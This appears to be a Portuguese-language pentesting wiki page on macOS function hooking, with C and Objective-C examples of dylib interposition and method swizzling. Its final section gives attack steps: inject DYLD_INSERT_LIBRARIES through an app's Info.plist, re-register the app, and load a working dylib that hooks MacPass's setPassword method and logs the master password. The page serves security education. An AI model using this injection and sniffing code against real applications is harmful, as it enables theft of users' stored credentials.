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macOS Function Hooking

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{% endhint %}

Interposição de Função

Crie um dylib com uma seção __interpose (ou uma seção marcada com S_INTERPOSING) contendo tuplas de ponteiros de função que se referem às funções originais e substitutas.

Em seguida, injete o dylib com DYLD_INSERT_LIBRARIES (a interposição precisa ocorrer antes do carregamento do aplicativo principal). Obviamente, as restrições aplicadas ao uso de DYLD_INSERT_LIBRARIES se aplicam aqui também.

Interpor printf

{% tabs %} {% tab title="interpose.c" %} {% code title="interpose.c" %}

// gcc -dynamiclib interpose.c -o interpose.dylib
#include <stdio.h>
#include <stdarg.h>

int my_printf(const char *format, ...) {
//va_list args;
//va_start(args, format);
//int ret = vprintf(format, args);
//va_end(args);

int ret = printf("Hello from interpose\n");
return ret;
}

__attribute__((used)) static struct { const void *replacement; const void *replacee; } _interpose_printf
__attribute__ ((section ("__DATA,__interpose"))) = { (const void *)(unsigned long)&my_printf, (const void *)(unsigned long)&printf };

{% endcode %} {% endtab %}

{% tab title="hello.c" %}

//gcc hello.c -o hello
#include <stdio.h>

int main() {
printf("Hello World!\n");
return 0;
}

{% endtab %}

{% tab title="interpose2.c" %}

// Just another way to define an interpose
// gcc -dynamiclib interpose2.c -o interpose2.dylib

#include <stdio.h>

#define DYLD_INTERPOSE(_replacement, _replacee) \
__attribute__((used)) static struct { \
const void* replacement; \
const void* replacee; \
} _interpose_##_replacee __attribute__ ((section("__DATA, __interpose"))) = { \
(const void*) (unsigned long) &_replacement, \
(const void*) (unsigned long) &_replacee \
};

int my_printf(const char *format, ...)
{
int ret = printf("Hello from interpose\n");
return ret;
}

DYLD_INTERPOSE(my_printf,printf);

{% endtab %} {% endtabs %}

DYLD_INSERT_LIBRARIES=./interpose.dylib ./hello
Hello from interpose

DYLD_INSERT_LIBRARIES=./interpose2.dylib ./hello
Hello from interpose

Method Swizzling

Em ObjectiveC, um método é chamado assim: [myClassInstance nameOfTheMethodFirstParam:param1 secondParam:param2]

É necessário o objeto, o método e os params. E quando um método é chamado, uma msg é enviada usando a função objc_msgSend: int i = ((int (*)(id, SEL, NSString *, NSString *))objc_msgSend)(someObject, @selector(method1p1:p2:), value1, value2);

O objeto é someObject, o método é @selector(method1p1:p2:) e os argumentos são value1, value2.

Seguindo as estruturas de objeto, é possível acessar um array de métodos onde os nomes e ponteiros para o código do método estão localizados.

{% hint style="danger" %} Note que, como os métodos e classes são acessados com base em seus nomes, essa informação é armazenada no binário, então é possível recuperá-la com otool -ov </path/bin> ou class-dump </path/bin> {% endhint %}

Accessing the raw methods

É possível acessar as informações dos métodos, como nome, número de params ou endereço, como no seguinte exemplo:

// gcc -framework Foundation test.m -o test

#import <Foundation/Foundation.h>
#import <objc/runtime.h>
#import <objc/message.h>

int main() {
// Get class of the variable
NSString* str = @"This is an example";
Class strClass = [str class];
NSLog(@"str's Class name: %s", class_getName(strClass));

// Get parent class of a class
Class strSuper = class_getSuperclass(strClass);
NSLog(@"Superclass name: %@",NSStringFromClass(strSuper));

// Get information about a method
SEL sel = @selector(length);
NSLog(@"Selector name: %@", NSStringFromSelector(sel));
Method m = class_getInstanceMethod(strClass,sel);
NSLog(@"Number of arguments: %d", method_getNumberOfArguments(m));
NSLog(@"Implementation address: 0x%lx", (unsigned long)method_getImplementation(m));

// Iterate through the class hierarchy
NSLog(@"Listing methods:");
Class currentClass = strClass;
while (currentClass != NULL) {
unsigned int inheritedMethodCount = 0;
Method* inheritedMethods = class_copyMethodList(currentClass, &inheritedMethodCount);

NSLog(@"Number of inherited methods in %s: %u", class_getName(currentClass), inheritedMethodCount);

for (unsigned int i = 0; i < inheritedMethodCount; i++) {
Method method = inheritedMethods[i];
SEL selector = method_getName(method);
const char* methodName = sel_getName(selector);
unsigned long address = (unsigned long)method_getImplementation(m);
NSLog(@"Inherited method name: %s (0x%lx)", methodName, address);
}

// Free the memory allocated by class_copyMethodList
free(inheritedMethods);
currentClass = class_getSuperclass(currentClass);
}

// Other ways to call uppercaseString method
if([str respondsToSelector:@selector(uppercaseString)]) {
NSString *uppercaseString = [str performSelector:@selector(uppercaseString)];
NSLog(@"Uppercase string: %@", uppercaseString);
}

// Using objc_msgSend directly
NSString *uppercaseString2 = ((NSString *(*)(id, SEL))objc_msgSend)(str, @selector(uppercaseString));
NSLog(@"Uppercase string: %@", uppercaseString2);

// Calling the address directly
IMP imp = method_getImplementation(class_getInstanceMethod(strClass, @selector(uppercaseString))); // Get the function address
NSString *(*callImp)(id,SEL) = (typeof(callImp))imp; // Generates a function capable to method from imp
NSString *uppercaseString3 = callImp(str,@selector(uppercaseString)); // Call the method
NSLog(@"Uppercase string: %@", uppercaseString3);

return 0;
}

Method Swizzling com method_exchangeImplementations

A função method_exchangeImplementations permite mudar o endereço da implementação de uma função pela outra.

{% hint style="danger" %} Assim, quando uma função é chamada, o que é executado é a outra. {% endhint %}

//gcc -framework Foundation swizzle_str.m -o swizzle_str

#import <Foundation/Foundation.h>
#import <objc/runtime.h>


// Create a new category for NSString with the method to execute
@interface NSString (SwizzleString)

- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from;

@end

@implementation NSString (SwizzleString)

- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from {
NSLog(@"Custom implementation of substringFromIndex:");

// Call the original method
return [self swizzledSubstringFromIndex:from];
}

@end

int main(int argc, const char * argv[]) {
// Perform method swizzling
Method originalMethod = class_getInstanceMethod([NSString class], @selector(substringFromIndex:));
Method swizzledMethod = class_getInstanceMethod([NSString class], @selector(swizzledSubstringFromIndex:));
method_exchangeImplementations(originalMethod, swizzledMethod);

// We changed the address of one method for the other
// Now when the method substringFromIndex is called, what is really called is swizzledSubstringFromIndex
// And when swizzledSubstringFromIndex is called, substringFromIndex is really colled

// Example usage
NSString *myString = @"Hello, World!";
NSString *subString = [myString substringFromIndex:7];
NSLog(@"Substring: %@", subString);

return 0;
}

{% hint style="warning" %} Neste caso, se o código de implementação do método legítimo verificar o nome do método, ele pode detectar essa troca e impedir que ela seja executada.

A técnica a seguir não tem essa restrição. {% endhint %}

Troca de Métodos com method_setImplementation

O formato anterior é estranho porque você está mudando a implementação de 2 métodos um pelo outro. Usando a função method_setImplementation, você pode mudar a implementação de um método para o outro.

Apenas lembre-se de armazenar o endereço da implementação do original se você for chamá-lo a partir da nova implementação antes de sobrescrevê-lo, porque depois será muito mais complicado localizar esse endereço.

#import <Foundation/Foundation.h>
#import <objc/runtime.h>
#import <objc/message.h>

static IMP original_substringFromIndex = NULL;

@interface NSString (Swizzlestring)

- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from;

@end

@implementation NSString (Swizzlestring)

- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from {
NSLog(@"Custom implementation of substringFromIndex:");

// Call the original implementation using objc_msgSendSuper
return ((NSString *(*)(id, SEL, NSUInteger))original_substringFromIndex)(self, _cmd, from);
}

@end

int main(int argc, const char * argv[]) {
@autoreleasepool {
// Get the class of the target method
Class stringClass = [NSString class];

// Get the swizzled and original methods
Method originalMethod = class_getInstanceMethod(stringClass, @selector(substringFromIndex:));

// Get the function pointer to the swizzled method's implementation
IMP swizzledIMP = method_getImplementation(class_getInstanceMethod(stringClass, @selector(swizzledSubstringFromIndex:)));

// Swap the implementations
// It return the now overwritten implementation of the original method to store it
original_substringFromIndex = method_setImplementation(originalMethod, swizzledIMP);

// Example usage
NSString *myString = @"Hello, World!";
NSString *subString = [myString substringFromIndex:7];
NSLog(@"Substring: %@", subString);

// Set the original implementation back
method_setImplementation(originalMethod, original_substringFromIndex);

return 0;
}
}

Metodologia de Ataque por Hooking

Nesta página, diferentes maneiras de hookear funções foram discutidas. No entanto, elas envolviam executar código dentro do processo para atacar.

Para fazer isso, a técnica mais fácil de usar é injetar um Dyld via variáveis de ambiente ou sequestro. No entanto, eu acho que isso também poderia ser feito via injeção de processo Dylib.

No entanto, ambas as opções são limitadas a binários/processos não protegidos. Verifique cada técnica para saber mais sobre as limitações.

No entanto, um ataque de hooking de função é muito específico, um atacante fará isso para roubar informações sensíveis de dentro de um processo (se não, você apenas faria um ataque de injeção de processo). E essas informações sensíveis podem estar localizadas em aplicativos baixados pelo usuário, como o MacPass.

Assim, o vetor do atacante seria encontrar uma vulnerabilidade ou remover a assinatura da aplicação, injetar a variável de ambiente DYLD_INSERT_LIBRARIES através do Info.plist da aplicação adicionando algo como:

<key>LSEnvironment</key>
<dict>
<key>DYLD_INSERT_LIBRARIES</key>
<string>/Applications/Application.app/Contents/malicious.dylib</string>
</dict>

e então re-registrar o aplicativo:

{% code overflow="wrap" %}

/System/Library/Frameworks/CoreServices.framework/Frameworks/LaunchServices.framework/Support/lsregister -f /Applications/Application.app

{% endcode %}

Adicione nesse biblioteca o código de hooking para exfiltrar as informações: Senhas, mensagens...

{% hint style="danger" %} Observe que em versões mais recentes do macOS, se você remover a assinatura do binário do aplicativo e ele foi executado anteriormente, o macOS não executará mais o aplicativo. {% endhint %}

Exemplo de biblioteca

// gcc -dynamiclib -framework Foundation sniff.m -o sniff.dylib

// If you added env vars in the Info.plist don't forget to call lsregister as explained before

// Listen to the logs with something like:
// log stream --style syslog --predicate 'eventMessage CONTAINS[c] "Password"'

#include <Foundation/Foundation.h>
#import <objc/runtime.h>

// Here will be stored the real method (setPassword in this case) address
static IMP real_setPassword = NULL;

static BOOL custom_setPassword(id self, SEL _cmd, NSString* password, NSURL* keyFileURL)
{
// Function that will log the password and call the original setPassword(pass, file_path) method
NSLog(@"[+] Password is: %@", password);

// After logging the password call the original method so nothing breaks.
return ((BOOL (*)(id,SEL,NSString*, NSURL*))real_setPassword)(self, _cmd,  password, keyFileURL);
}

// Library constructor to execute
__attribute__((constructor))
static void customConstructor(int argc, const char **argv) {
// Get the real method address to not lose it
Class classMPDocument = NSClassFromString(@"MPDocument");
Method real_Method = class_getInstanceMethod(classMPDocument, @selector(setPassword:keyFileURL:));

// Make the original method setPassword call the fake implementation one
IMP fake_IMP = (IMP)custom_setPassword;
real_setPassword = method_setImplementation(real_Method, fake_IMP);
}

Referências

• https://nshipster.com/method-swizzling/

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